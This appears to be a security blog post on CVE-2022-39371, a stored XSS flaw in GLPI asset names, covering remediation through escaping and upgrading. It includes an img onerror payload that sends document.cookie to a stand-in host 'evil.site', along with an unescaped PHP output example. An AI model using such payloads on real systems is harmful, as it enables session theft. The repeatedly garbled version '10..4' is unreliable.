GLPI (Gestionnaire Libre de Parc Informatique) is a free open-source IT management software. Many organizations, from schools to big companies, use it to track hardware, manage software licenses, and even run service desks. But in October 2022, a dangerous bug called CVE-2022-39371 was found that could let attackers inject malicious scripts into your asset inventory — all because GLPI didn’t handle HTML tags properly in asset information fields.

In this article, we’ll break down what happened, show a code example of the vulnerability, and explain what you should do to stay safe.

---

What is CVE-2022-39371?

CVE-2022-39371 is a Cross-Site Scripting (XSS) vulnerability in GLPI, affecting versions prior to 10..4. XSS bugs let attackers inject JavaScript or other code into webpages viewed by other users — a classic way to steal session cookies, hijack accounts, or mess with your data.

Summary of the problem

- User-supplied input in asset inventory (like a device’s name or serial number) was not cleaned up properly.

Attackers could save malicious HTML tags (<script>, <img onerror>, etc.) in these fields.

- When an admin or technician later viewed this data, the malicious script would run in their browser with their permissions.

Suppose an attacker creates or edits an asset with a tricky name, like

<img src="x" onerror="alert('GLPI XSS!')">

If GLPI doesn’t clean this input, when you view the asset inventory page, your browser executes the alert() for the attacker’s script. A real attacker could do much worse, like stealing your session or redirecting you to a phishing page.

Screenshot simulation of vulnerable input

[Asset Name]
Laptop A
<img src="x" onerror="fetch('https://evil.site/steal?cookie='+document.cookie)">
Printer C

When someone loads the inventory page, the browser fetches the asset with the malicious name — and runs the attacker’s code.

Code Snippet – What Was Missing

This is simplified, but imagine a PHP code snippet where GLPI renders the asset name directly without escaping:

<!-- This is BAD practice and led to the bug -->
<td><?= $asset['name'] ?></td>

It should have safely escaped output like this

<!-- This is SAFE -->
<td><?= htmlspecialchars($asset['name'], ENT_QUOTES, 'UTF-8') ?></td>

Without htmlspecialchars, any user input can inject HTML (like <script> tags).

How Bad is it?

Who is at risk:  
Anyone running GLPI versions before 10..4 is vulnerable.

Modify page content or capture keystrokes.

No known workarounds:  
There is no simple way to block this bug — you have to update!

How to Fix

The developers patched this in GLPI version 10..4 by properly neutralizing all user-supplied HTML in asset fields.

Upgrade GLPI to 10..4 or newer

GLPI Release Notes 10..4
   
Check your version:  
Login → Configuration → About, or look in your installation folder for a file called VERSION.

Technical References

- CVE-2022-39371 in NVD
- GLPI GitHub Security Advisory
- GLPI Changelog 10..4

Conclusion

CVE-2022-39371 might look small, but it packs a punch. If you run GLPI to manage your IT assets, you must upgrade to version 10..4 or later as soon as possible. Never underestimate XSS — it’s one of the most common but damaging bugs in web software.

Stay safe, keep your asset manager patched, and always treat user input with suspicion!

*GLPI users, update now and protect your organization from attack. There are no easy workarounds — patching is the answer.*

Further Reading

- OWASP XSS Overview
- GLPI Security Updates

Timeline

Published on: 11/03/2022 16:15:00 UTC
Last modified on: 11/03/2022 18:52:00 UTC